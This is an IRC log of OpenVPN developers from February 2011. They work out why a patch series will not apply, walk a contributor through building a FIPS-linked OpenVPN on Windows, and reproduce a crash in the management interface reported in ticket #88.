03:34 -!- dazo_afk is now known as dazo 03:45 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 03:45 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 03:45 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:25 -!- andj_afk is now known as andj 05:03 <@dazo> mattock: just looking at your patches ... they're missing the Signed-off-by line ... I'm adding them now, but please do your commits with 'git commit -s' 05:16 <@dazo> mattock: hmmmm ... your patches doesn't apply cleanly to the beta2.2 tree 05:19 <@dazo> mostly offset errors ... but that's then because the file contents is different ... can you please make sure you are on an updated branch? 05:20 <@dazo> try git rebase origin/beta2.2 ... and resolve any conflicts which might come ... then you'll need to re-submit all patches again ... you can send them directly to me though 05:23 < psha> or provide branch to merge 05:24 < psha> usually it's more simple for both submitter and merger 05:29 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:29 <@dazo> yeah, not sure if he got somewhere to push it :) 05:30 <@dazo> but I don't mind mail merges ... I got some neat tools which helps me with that :) 05:31 < psha> yea, like mutt ;) 05:53 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 05:54 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 10:12 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:13 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has joined #openvpn-devel 10:36 <@mattock> dazo: mmm... I'll checkout a clean copy of beta2.2 and see what's happening 10:36 <@mattock> I've rebased against origin/beta2.2 several times, so it _should_ work, in theory 10:37 <@dazo> mattock: yeah, I got surprisingly many apply issues, considering they should be based of the same root 10:38 <@dazo> mattock: did I get all patches from commit c994385048a64adb3ec3e8f5f906c5f8668e1a71 ? 10:38 <@dazo> it seems I'm lacking something between that and patch 01 10:38 <@mattock> lemme check 10:41 <@dazo> you can check for yourself ... doing: git checkout -b patchtest origin/beta2.2 10:42 <@dazo> and then do: git am 000[12345679]-*.patch 10:42 <@dazo> if it fails, just do git am --abort 10:48 <@mattock> dazo: you should have got 13 + 1 patches 10:48 <@dazo> and when I start with patch 01 ... I already get a conflict 10:49 <@mattock> that's very strange... I'll try the first patch myself 10:49 <@dazo> patching file config-win32.h 10:49 <@dazo> Hunk #1 FAILED at 50. 10:49 <@dazo> 1 out of 1 hunk FAILED -- saving rejects to file config-win32.h.rej 10:50 <@dazo> $ cat config-win32.h.rej 10:50 <@dazo> --- config-win32.h 10:50 <@dazo> +++ config-win32.h 10:50 <@dazo> @@ -50,6 +50,9 @@ 10:50 <@dazo> #define TAP_WIN32_DEBUG 10:50 <@dazo> #endif 10:50 <@dazo> 10:50 <@dazo> +/* Enable reading credentials from a file */ 10:50 <@dazo> +#define ENABLE_PASSWORD_SAVE 1 10:50 <@dazo> + 10:50 <@dazo> /* Enable client/server capability */ 10:50 <@dazo> #define ENABLE_CLIENT_SERVER 1 10:50 * dazo sneaked under the vpnHelper's "spam" radar :P 10:50 < psha> dazo: heh, maybe merging branch path would be shorter? :) 10:51 <@dazo> no, I don't want to merge 10:51 <@dazo> especially since these patches *should* be based on the beta2.2 branch 10:51 < psha> after rebase - why not? :) 10:51 <@dazo> merging messes up the history 10:51 < psha> sure, merging old branch messes history 10:52 <@dazo> mattock working branch should not have a different root than beta2.2 10:52 <@mattock> you mean "root == origin/HEAD" ? 10:53 <@dazo> so when his patches doesn't apply cleanly ... there is something wrong with the root to start with ... which means, a merge could introduce more patches or changes which has not been reviewed 10:53 < psha> that's true, missed that point 10:53 <@dazo> root == origin/beta2.2 10:53 < psha> heh, two years ago i was merging some work from repo with different _root_ commit ;) 10:54 < psha> one dev instead of creating new commit recreated whole repo several times 10:54 <@dazo> oh no ..... 10:55 <@dazo> that can only work out, if you rebase each of the new repo clones regularly, as things develop 10:55 <@dazo> and that's the good thing about rebasing ... where each who contributes with patches, whenever rebasing gets merge conflicts, can fix them and then submit new patches upstream ... which should apply cleanly 10:56 < psha> that was internal repo of one of my customers so after cleanup process it's left in that stage 10:56 <@dazo> doing a merge instead of rebase, will make that process impossible 10:56 < psha> yes, that's true too 10:56 <@dazo> merging should only be done by the repo maintainer ... the rest should basically rebase :) 10:57 < psha> :) 10:59 <@mattock> dazo: got visitors now, got to fix this tomorrow 10:59 <@dazo> mattock: sure no prob ... I need to look at some other stuff too 10:59 <@mattock> nice! 10:59 <@dazo> :) 11:00 <@mattock> I checked out clean git repo, switched to beta2.2 branch and all looked fine (same HEAD etc) 11:00 <@dazo> I'm just sorry I didn't have a chance to test your patches earlier 11:00 <@mattock> no prob 11:00 <@dazo> mattock: did 'git am' on your patch files work for you? 11:01 <@mattock> I did not try that yet 11:01 <@dazo> okay ... then I'm calm :) 11:03 <@mattock> dazo: did you get this error with the first patch: "error: config-win32.h: does not match index" 11:03 <@dazo> yeah 11:03 <@dazo> Subject: [Openvpn-devel] [PATCH 01/13] Added ENABLE_PASSWORD_SAVE to config-win32.h 11:04 <@mattock> yep 11:04 <@mattock> I tried applying that to known-clean beta2.2 branch 11:04 <@mattock> anyways, will get to it tomorrow 11:05 <@dazo> mattock: thx! if you apply all patches, and commit them again to that fresh beta2.2 branch ... you've basically fixed the issues 11:05 <@dazo> and as you know how things should be ... we're sure I'm not messing up, trying to solve these issues myself 11:05 <@dazo> and even more important ... you can test them out in a real environment :) 13:09 -!- dazo is now known as dazo_afk 14:09 -!- andj is now known as andj_afk 15:15 -!- andj_afk is now known as andj 15:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:42 -!- andj is now known as andj_afk 15:42 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:43 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 15:43 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 15:43 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 15:43 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:12 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:38 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 16:59 < Essobi> Mmm. guess I'll catch up with Mattock tomorrow.. got my build box setup finally. 17:04 < Essobi> I seem to be missing some patches or I'm getting the wrong branch of something... --notap doesn't exist in my build_all.py... 17:33 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:28 <+ecrist> poot 23:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Tue Feb 22 2011 00:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:40 -!- andj_afk is now known as andj 01:01 -!- andj is now known as andj_afk 02:41 -!- dazo_afk is now known as dazo 02:49 <@dazo> Essobi: --notap is on the way into the git tree nowadays probably ... mattock sent me boatload of patches ... and they're not applying cleanly, so he needs to fix them first ... probably just applied to the wrong base 02:50 <@dazo> (from mattock's side, that is) 03:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:41 <@mattock> dazo: there? 03:41 <@dazo> mattock: I am 03:42 <@mattock> I managed to apply the patchset just fine, except for a bunch of whitespace errors (linefeed issue?) 03:43 <@dazo> all of them? without any issues? 03:43 <@mattock> yep, at least "git log" shows that they're all in place 03:43 <@mattock> so this is what I did: 03:43 * dazo is curious 03:44 <@mattock> in my working tree: "git-format-patch c994385048a64adb3ec3e8f5f906c5f8668e1a71...HEAD" 03:44 <@mattock> which gives 15 patches 03:44 <@dazo> that's one more patch than what I've received from you 03:44 <@mattock> moved them to a clean (as in "git clone") git repo with beta2.2 checked out 03:45 <@mattock> hmm, yeah... true :) 03:45 <@mattock> I'll check it 03:45 <@dazo> If the missing patch is the patch after c994385048a64a ... then that will explain it 03:46 <@mattock> hmm, it's the temporary fix for openvpn_sprintf 03:47 <@mattock> HEAD^1 in my repo 03:48 <@mattock> what if I rewrite history a bit? make that patch the last one and resend the new HEAD^1 (a.k.a. "Changes to buildsystem patchset") to you? 03:48 <@mattock> would that help? 03:48 <@mattock> although, the openvpn_snprintf stuff should not affect anything else 03:48 <@dazo> hmmm 03:49 * dazo is thinking ... trying to understand what's going on 03:49 <@mattock> what if I put my git log somewhere? 03:49 <@dazo> mattock: could you push your tree to a server which I could access, at least via http? 03:50 <@mattock> do you have your credentials for build.openvpn.net somewhere safe? 03:50 <@mattock> I could put it there? 03:50 <@dazo> that would be doable ... I have the vpn stuff available 03:51 <@mattock> you only need your credentials, SSH is listening on the public internet 03:51 <@dazo> I can try 03:51 <@mattock> ok, I'll copy my repo there 03:54 < psha> dazo: ;) 03:54 <@dazo> :) 04:17 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:17 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:17 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:17 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:02 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 05:31 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 05:31 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 05:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 05:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:10 -!- dazo is now known as dazo_afk 07:14 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 07:15 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 07:15 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 07:15 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:15 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:31 -!- dazo_afk is now known as dazo 08:08 -!- vahokif [~vahokif@dyn1199-185.wlan.ic.ac.uk] has joined #openvpn-devel 08:10 -!- vahokif [~vahokif@dyn1199-185.wlan.ic.ac.uk] has quit [Remote host closed the connection] 08:36 <@vpnHelper> RSS Update - tickets: #88: management-forget-disconnect crashes process <https://community.openvpn.net/openvpn/ticket/88> 09:42 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 09:45 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:56 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:28 -!- andj_afk is now known as andj 11:17 <@dazo> grrrr.... Trac thinks I'm spamming the tracker 11:19 < Essobi> :\ 11:19 < Essobi> mattock: Yo.. Which git do I check out, and where do I grab the patches you mentioned to build? 11:19 <@dazo> Essobi: I can push them to a separate public branch 11:20 < Essobi> dazo: Sure. 11:20 < Essobi> That'd be great. 11:21 <@dazo> Essobi: okay, it's available now via openvpn-testing.git ... checkout the origin/python-win-build branch 11:22 <@dazo> don't depend on that branch for too long ... I'm gonna scratch it when it's merged into beta2.2 11:25 <@mattock> dazo: I'll check what's the matter with trac 11:25 <@dazo> mattock: I don't know, what happened ... after a re-login again, it worked fine 11:26 <@mattock> dazo: is it this edit: "Hmmm ... Would it be possible to get a complete configuration files..."? 11:26 <@dazo> yeah 11:27 <@mattock> it did not recognize your session 11:27 <@mattock> hence karma = 0 -> spam 11:27 <@dazo> grmbl .... ;-) 11:28 <@mattock> if you got admin rights, you can check "Admin -> Spam filtering -> Monitoring" 11:28 * dazo checks 11:28 < Essobi> dazo: Hmm. git://openvpn.git.sourceforge.net/gitroot/openvpn/python-win-build/openvpn-testing.git? 11:28 < Essobi> dazo: I'm a git newb. :| 11:28 < Essobi> Well.. sourceforge at that. 11:28 <@dazo> git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git .... and the origin/python-win-build branch in that git tree 11:28 <@dazo> git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 11:29 <@dazo> git checkout -b python-win-build origin/python-win-build 11:29 <@dazo> sorry ... insert a 'cd openvpn-testing' in between 11:29 < Essobi> Roger that. Thanks. 11:30 <@dazo> !git 11:30 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary 11:30 <@dazo> !learn git-doc as For a good git documentation, see http://progit.org/book/ 11:30 <@vpnHelper> Joo got it. 11:31 <@dazo> !learn git as See !git-doc how to use git 11:31 <@vpnHelper> Joo got it. 11:31 <@dazo> !git 11:31 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 11:31 <@dazo> !git-doc 11:31 <@vpnHelper> "git-doc" is For a good git documentation, see http://progit.org/book/ 11:35 -!- andj is now known as andj_afk 11:36 -!- andj_afk is now known as andj 11:38 <@dazo> mattock: I'm not such a bless admin ... I have no Spam filtering access ... but that's okay ... I normally don't need it :) 11:41 < Dark-Fx> My spam filtering is postgrey 11:41 < Dark-Fx> 95% of the e-mail I get is not spam. 11:43 < Essobi> dazo: Hmm. It's erroring. 11:44 <@dazo> The build or fetching/checking out the branch? 11:44 < Essobi> Not sure that --notap is clean. 11:44 < Essobi> Oh, sorry, the build. 11:44 <@dazo> Ahh ... then I'm deflecting this to mattock :-P 11:44 <@mattock> essobi: you need one more fix, unless dazo included the temporary snprintf fix 11:45 <@dazo> mattock: I pushed out our raw beta2.2 branch as python-win-build 11:45 <@mattock> dazo: ok 11:45 <@dazo> just temporarily, until we've resolved this 11:45 <@mattock> essobi: what does it say? 11:45 < Essobi> It can't find the path to the tapinstall\7600 11:46 <@mattock> did you check out the latest documentation: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 11:46 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 11:46 <@mattock> section "Setting up dependencies" 11:46 <@mattock> you need devcon.exe source tree from WinDDK 11:46 < Essobi> mattock: I'm looking at it. 11:47 < Essobi> mattock: and I specified -n/--notap 11:47 <@mattock> there are still dependencies to TAP driver building, even if -n / --notap is defined 11:47 <@mattock> so that's probably why it's failing 11:48 <@mattock> I'll be removing those dependencies in 2.2-final (and later) 11:48 <@mattock> you could try this hack: 11:50 <@mattock> oh, there are two tapinstall dirs 11:50 <@mattock> one at $OPENVPN_SOURCES 11:50 <@mattock> and one below it 11:50 <@mattock> you could try this (adapted to windows) 11:50 <@mattock> cd $OPENVPN_SOURCES 11:51 <@mattock> mkdir ../tapinstall 11:51 <@mattock> mkdir ../tapinstall/7600 11:51 <@mattock> cp -r tapinstall/* ../tapinstall/7600/ 11:51 <@mattock> that's how my build computer is setup 11:53 -!- waeawewa [~waeawewa@180.191.91.12] has joined #openvpn-devel 11:53 -!- waeawewa [~waeawewa@180.191.91.12] has left #openvpn-devel [] 11:53 < Essobi> mattock: I'll give that a try 11:53 <@mattock> it should work 11:55 < Essobi> Wait.. you want me to copy the tapinstall sources from where? 11:56 <@mattock> essobi: do you have "tapinstall" directory in $OPENVPN_SOURCES directory? 11:56 <@mattock> (or did I copy it locally at some point) 11:57 <@mattock> oh, it's a local copy 11:57 < Essobi> It's local. ;) 11:57 < Essobi> Yea.. 11:57 <@mattock> just a sec, I'll the sources somewhere 11:57 <@mattock> you can get them from Microsoft, but not sure where exactly 11:57 < Essobi> well, I mean, I can extract it from the openvpn build no? 11:59 <@mattock> no 11:59 < Essobi> Oh. 12:00 < Essobi> I really didn't want to build the tap.. all the machines I'm using are 32-bit, and I was going to attempt to re-use the last build's tap drivers, like the wiki mentioned. 12:04 < Essobi> Hmm.. Okay, I know how to do it on the unix build, but how do I configure the python builder to use a different openssl dir then stock? 12:06 * Essobi starts grepping. 12:06 < Essobi> :\ I keep trying to use the open command like on OSX. 12:09 < Essobi> Hmm. can I override it in settings.in? Looks so. 12:13 < Essobi> Hmm. 12:13 < Essobi> It's still bombing out finding it, even when I override it there.. 12:13 < Essobi> Hmm. Libs it looks. 12:15 < Essobi> got it 12:17 < Essobi> I'm redefining @OPENSSL@ by hand in msvc.mak.in 12:21 <+ecrist> what is it you're doing again? 12:23 < Essobi> *WHISTLES INNOCENTLY* 12:25 < Essobi> Hmm.. I've terribly horked something. 12:25 < Essobi> How do I perform the equivilent of 'make clean' for the windows platform? 12:26 < Essobi> ecrist: linking against a FIPS 140-2 version of openSSL. 12:26 <+ecrist> oh, that's right 12:26 <+ecrist> you should update configure so one can just do a ./configure --make-fips and get a fips compliant version 12:32 < Essobi> ;) 12:32 < Essobi> I've got a dirty patch to ssl.c, and some build options thus far for the server side. 12:34 < psha> sorry for dumb offtopic question - technicaly openssl and openssl fips module provide equivalent algos? 12:38 <+ecrist> not off topic at all 12:40 -!- andj is now known as andj_afk 12:40 * dazo throws psha's question over to Essobi 12:41 * krzee intercepts it and runs it back for 6 points 12:41 <+krzee> o_O 12:42 <@dazo> lol 12:43 * dazo see the question explode in krzee's hands 12:51 <+ecrist> muahahaha 12:52 <+krzee> if only that happened 2 days ago 12:53 <+krzee> i need a DR's note saying i was in the hospital 2 days ago or i lost the ticket for the plane i missed to australia 12:53 * dazo heads home 12:53 <@dazo> krzee: ouch 12:53 <+krzee> their calendar had monday on the far left, it confused me into thinking i left the wrong day, lol 12:54 <+krzee> im thinking i might need to take $100 to the dr office 12:54 -!- dazo is now known as dazo_afk 12:58 < Essobi> psha: yes, mostly 12:58 < Essobi> psha: It's a restricted list algs, that's been cryptographically confirmed by labs. 13:00 < Essobi> mattock: Any way to make clean? It keeps trying to copy openvpnserv.exe and failing now.. the previous one was trying compile and failed on a missing lib.. 13:04 <@mattock> cd win 13:04 <@mattock> python.exe build.py clean 13:05 < Essobi> Hmm. it's throwing an error when I clean saying the signtool isn't found. 13:05 <@mattock> yep 13:05 <@mattock> if you're in "win" directory, do a "mkdir ../../signtool" 13:06 <@mattock> then create a fake "signtool.exe" into that directory 13:06 <+ecrist> mattock: do we have any windows builds with --enable-passwd-save yet? 13:06 <+ecrist> or is 2.2-rc going to be the first? 13:06 <@mattock> ecrist: check out latest at http://build.openvpn.net/downloads/releases 13:06 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 13:06 < Essobi> Hmm.. Same error. 13:06 <@mattock> preview-8 if I'm not mistaken 13:07 < psha> Essobi: thx 13:07 < Essobi> np 13:07 <@mattock> essobi: are you sure the "signtool" directory is just below $OPENVPN_SOURCES 13:07 < Essobi> mattock: I ran nmake -f... clean by hand.. that did the trick. 13:08 <@mattock> that might help if you're really hosed 13:08 <@mattock> :) 13:08 < Essobi> hmm.. service.h is failing to include config.h now.. 13:08 <@mattock> lemme check, that was one issue all rights 13:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:09 < Essobi> Yurp.. there's no config.h being generated. 13:10 <@mattock> ah, one more local file :) 13:10 < Essobi> *SNICKER* 13:10 < Essobi> That'll do it. 13:11 <@mattock> hmm, you could copy config-win32.h as config.h 13:11 <@mattock> that should do the trick 13:11 <@mattock> however, this is something that needs fixing 13:12 < Essobi> Ah, well.. glad I could help track that down. 13:12 <@mattock> the ENABLE_* stuff from config-win32.h is already defined in win/settings.in and pushed to configure.h... but lots of other definitions won't be available for the Python build 13:13 <@mattock> essobi: good thing you're doing a windows build, too...this kind of stuff could otherwise go unnoticed for months or more 13:13 < Essobi> That worked.. Hmm.. It's pissed now that openvpn-gui-1.03.exe doesn't exist. 13:14 <@mattock> yep, you got to fetch it from here: http://openvpn.se/ 13:14 <@vpnHelper> Title: OpenVPN GUI for Windows (at openvpn.se) 13:14 < Essobi> $OPENVPN_SOURCES\dist\bin\ 13:14 < Essobi> Roger that. 13:14 <@mattock> btw. it will be pissed off many, many times more :) 13:14 < Essobi> ;) 13:14 < Essobi> no worries 13:14 <@mattock> you're pretty far actually 13:14 <@mattock> btw. make sure you're not in the "dist" dir when you run "python build.py clean" 13:14 <@mattock> otherwise it will complain loudly 13:15 < Essobi> yea, I've been running it from win 13:25 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 13:36 < Essobi> meh.. thought I could skate w/o building the pkcs11 dep but it doesn't look easy to rip it out. 13:36 < Essobi> Aaaand it's flailing to compile. :| 13:36 < Essobi> pkcs11-helper that is 13:39 <@mattock> probably... did you check the fix documented on the wiki page? 13:39 <@mattock> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows#Buildingpkcs11-helper 13:39 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 13:39 <@mattock> pkcs11h-threading.c(477) : error C2036: 'void *' : unknown size 13:43 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 13:47 < Essobi> yea, I fixed that.. 13:48 < Essobi> Man, I'm so out of my element. :\ 13:48 < Essobi> I miss ktrace/strace and regular make. :| 13:48 < Essobi> LINK : fatal error LNK1181: cannot open input file 'libeay32.lib' 13:49 <@mattock> yep, "wrong" openssl version 13:49 <@mattock> manually patch win/msvc.mak.in, clean and rerun the build 13:49 <@mattock> I've used openssl-1.0.0, which generates libs with different names (compared to 0.9.x) 13:50 < Essobi> hah.. would probably help if I copied the libeay32.lib instead of the .dll to the /lib dir. 13:50 <@mattock> oh :D 13:50 <@mattock> btw. I'd install Bash on Windows, e.g. as a part of GitExtensions 13:50 <@mattock> gives grep and all other great GNU tools :) 13:50 < Essobi> Heh. 13:53 < Essobi> I can't tell you how many times I've hit ^W ^A or ^E 13:53 < Essobi> :| 14:03 < Essobi> Holy shit, it built w/o errors! 14:03 < Essobi> *VICTORY LAP* 14:04 < Essobi> Now I gotta figure out how to make the installer package. ;) 14:30 <@mattock> essobi: get makensis tool and open win/openvpn.nsi with it 14:31 <@mattock> you may have issues with openssl DLL names 14:31 <@mattock> and you need to embed the *.manifest files into lzo2.dll, libpkcs11-helper-1.dll, openvpn.exe and openvpnserv.exe as documented in the Wiki 14:32 <@mattock> issues with names as in "being different than what openvpn.nsi expects" 14:32 <@mattock> ...got to split now 14:35 < Essobi> yea, I just grabbed the tool 14:35 < Essobi> I'm extracting the tap drivers and the tapinstall.exe from the server.. 14:35 < Essobi> err from the latest installer.. 14:35 < Essobi> And I'm not sure how to tell which is the 32 bit and which is the 64 bit as they live in the same dir 14:41 -!- Netsplit *.net <-> *.split quits: @cron2, s7r, kisom, @d457k 14:48 <@mattock> essobi: smaller ones are for 32-bit 14:49 < Essobi> mattock: Ah. 14:49 < Essobi> same for drivers? 14:50 <@mattock> yeah 14:50 < Essobi> roger that 14:50 < Essobi> I had to piddle with my FIPS patch to get Vc to compile it, but nothing drastic. 14:51 < Essobi> :))) 14:51 <@mattock> you need the driver files + correct (bitness) version of tapinstall.exe in the dist/i386 and dist/amd64 dirs 14:51 < Essobi> roger that.. thanks again for all the help, btw 14:51 <@mattock> no probs, good thing my buildsystem patches are useful :) 14:52 <@mattock> more are coming, though 14:52 < Essobi> probably would have taken me a week atleast to munge through all this on my own. 14:52 < Essobi> Windows dev environment isn't my bag. 14:52 <@mattock> well, I'd say a couple of weeks at least 14:52 < Essobi> touche 14:52 <@mattock> you wouldn't believe how many issues I had 14:53 < Essobi> I meant, even with your patches. ;) 14:53 <@mattock> oh, probably not :) 14:53 < Essobi> Don't forget to push back those local files somewhere. ;) 14:53 <@mattock> I _think_ I documented everything in the Wiki... if one reads very carefully 14:53 < Essobi> Once I get this built, I'm archiving the disk, and putting it in our underground tape storage (read cave). 14:54 <@mattock> good idea 14:54 <@mattock> got to get some sleep now, see you later! 14:55 < Essobi> mattock: Yessir. Thanks again.. (I don't recall seeing the config.h vs config-w32.h on the wiki) 14:55 < Essobi> I'll check again thou 15:00 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 15:00 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 15:00 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:00 -!- ServerMode/#openvpn-devel [+oo d457k cron2] by jordan.freenode.net 15:05 -!- Netsplit *.net <-> *.split quits: @mattock, i7-Cud4, EO_, @patelx 15:06 -!- Netsplit over, joins: @mattock, i7-Cud4 15:07 -!- Netsplit over, joins: EO_, @patelx 15:19 -!- andj_afk is now known as andj 15:50 -!- Netsplit *.net <-> *.split quits: @cron2, @d457k, kisom 15:50 -!- Netsplit over, joins: @cron2, @d457k, kisom 16:05 -!- andj is now known as andj_afk 16:17 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Wed Feb 23 2011 00:38 -!- andj_afk is now known as andj 01:05 -!- andj is now known as andj_afk 01:48 -!- Netsplit *.net <-> *.split quits: @d457k, @patelx, @cron2, kisom, EO_, i7-Cud4 01:48 -!- Netsplit *.net <-> *.split quits: agi, cyberroadie, chantra_1fk, @mattock, EvilJStoker, @dazo_afk, Essobi, raidzx, Dark-Fx, waldner, (+2 more, use /NETSPLIT to show all of them) 01:54 -!- Netsplit over, joins: Essobi, @dazo_afk, @d457k, @cron2, @patelx, EO_, i7-Cud4, @mattock, raidzx, @vpnHelper (+8 more) 02:25 -!- Netsplit *.net <-> *.split quits: i7-Cud4, agi, cyberroadie, @d457k, chantra_1fk, @dazo_afk, @mattock, EO_, kisom, EvilJStoker, (+8 more, use /NETSPLIT to show all of them) 02:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:36 -!- Netsplit over, joins: Essobi, raidzx, @dazo_afk, @d457k, @cron2, @patelx, EO_, i7-Cud4, @mattock, @vpnHelper (+8 more) 03:44 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:53 -!- dazo_afk is now known as dazo 03:59 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 03:59 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 03:59 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:01 <+janjust> ping dazo 04:01 <+janjust> ping krzee 04:02 <+krzee> pong 04:02 <+janjust> I've got the first copies of "The Book" in my hands right here :) 04:02 <+krzee> sweet! 04:02 <+janjust> your copies should follow soon, I guess 04:02 <@dazo> janjust: pong 04:03 <@dazo> cool! 04:03 <+janjust> yeah, it looks nice, less heavy then I thought... thanks for your review work guys, I did incorporate a lot of your comments into it 04:04 <+krzee> glad to help! 04:04 <@dazo> thanks for getting the chance to help out ... and I even learnt a lot about openvpn I didn't know too by doing this review :) 04:04 <+janjust> I still have to file a few bug reports ;-) 04:04 <@dazo> janjust: please do :9 04:04 <@dazo> :) 04:05 <+janjust> krzee? you wrote a posting on the forums about auto-connecting using theGUI sometime back. did you read my response? 04:06 <+krzee> i dont think i saw it, will look 04:06 <+janjust> coz it's possible : run 'openvpn-gui.exe --help' 04:07 <@dazo> janjust: if you have time and chance ... could you checkout ticket 88 in Trac ... I have a suspicion the bug is tightly related to pkcs#11, but don't have any easy possibilities to test that out ... not sure if you have possibility to test it out, though 04:07 <+krzee> ahh so have the user start openvpn with a script instead of the gui shortcut 04:07 <+krzee> that will work 04:09 <+janjust> dazo: interesting bug report, but he's starting the management interface on the same port as OpenVPN itself? 04:10 <+janjust> I'll try and reproduce but I don't have access to a pkcs#11 device today 04:10 <+janjust> krzee: or simply update the shortcut to state 'openvpn-gui --connect blah.ovpn' 04:10 <+janjust> you can even hide the status window that way 04:10 <@dazo> janjust: it's a common trick to listen to the same port number, but on localhost ... while openvpn connect/listen to a non-localhost IP 04:11 <+krzee> ohh i see 04:11 <@dazo> that works out, usually 04:11 <+janjust> dazo: yes but he did not mention that openvpn was listening only on a non-localhost IP; the defaut is 0.0.0.0 04:12 <@dazo> janjust: I interpreted it as a client side issue though ... but I might have read stuff too quickly 04:13 <@dazo> nah, it's a windows client ... "Add the following options to a client config file:" 04:17 <+janjust> it's reproducible alright... 04:17 <+janjust> even without a pkcs#11 device 04:18 <@dazo> really? ... what did you do? :) 04:18 <+janjust> I just did what he wrote: set up a basic config, add the 4 lines, start the windows service 04:18 <@dazo> I tried to modify my setup which I use daily with those 4 lines ... and nada .... it runs happily further 04:18 <+janjust> check the log file (it says 'waiting for 'hold release' ') ; then telnet to the mgmt interface 04:18 <+janjust> and simply type 'exit' 04:18 <@dazo> aha ... before giving the password 04:19 <+janjust> his setup did not include a password, did it? 04:19 <@dazo> nope ... I didint' think about that :-P 04:20 <@dazo> ahh, 2.1.1 on F14 fails ... but not from openvpn-testing 04:21 <+janjust> doh - I am not sure this is a failure or simply "works as intended" 04:21 <+janjust> the client sits there waiting for a hold release; somebody logs in on the mgmt interface and then exists without doing anything 04:21 <@dazo> well, SEGV isn't "works as intended" in my book :-P 04:21 <+janjust> ah I did not get SEGVs 04:22 <@dazo> I ran it via gdb, then I saw it 04:22 * dazo installs debuginfo packages now 04:22 <@dazo> I simply didn't try to exit before 'hold release' 04:23 <+janjust> I'm running 2.1.3 on windows 2000 and it simply stops when I quit telnet before doing a 'hold release' 04:23 <@dazo> yeah, then the behaviour is similar 04:25 <+janjust> hmmm if I run the server with the lines from ticket #88 , then telnet into it I can still not reproduce the SIGSEGV 04:25 <+janjust> this is 2.1.4 on CentOS 5 04:25 <@dazo> hmm 04:27 <@dazo> janjust: 